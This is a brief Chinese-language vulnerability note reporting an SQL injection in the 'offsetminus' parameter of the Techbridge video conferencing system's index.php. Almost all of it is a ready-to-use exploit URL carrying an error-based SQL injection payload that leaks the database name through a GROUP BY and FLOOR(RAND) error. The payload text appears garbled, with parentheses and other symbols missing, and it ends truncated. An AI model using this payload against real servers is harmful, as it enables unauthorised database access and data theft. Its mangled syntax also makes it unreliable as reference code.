Techbridge 视频会议系统 index.php 参数offsetminus SQL注入漏洞

exp: http://xxx/common/webmeeting/index.php?offsetminus=SELECT 6872 FROMSELECT COUNT,CONCAT0x7e7e7e,database,0x7e7e7e,FLOORRAND02x FROM INFORMATIONSCHEMA.CHARACTERSETS GROUP BY xa&day=26&min=10&year=2014...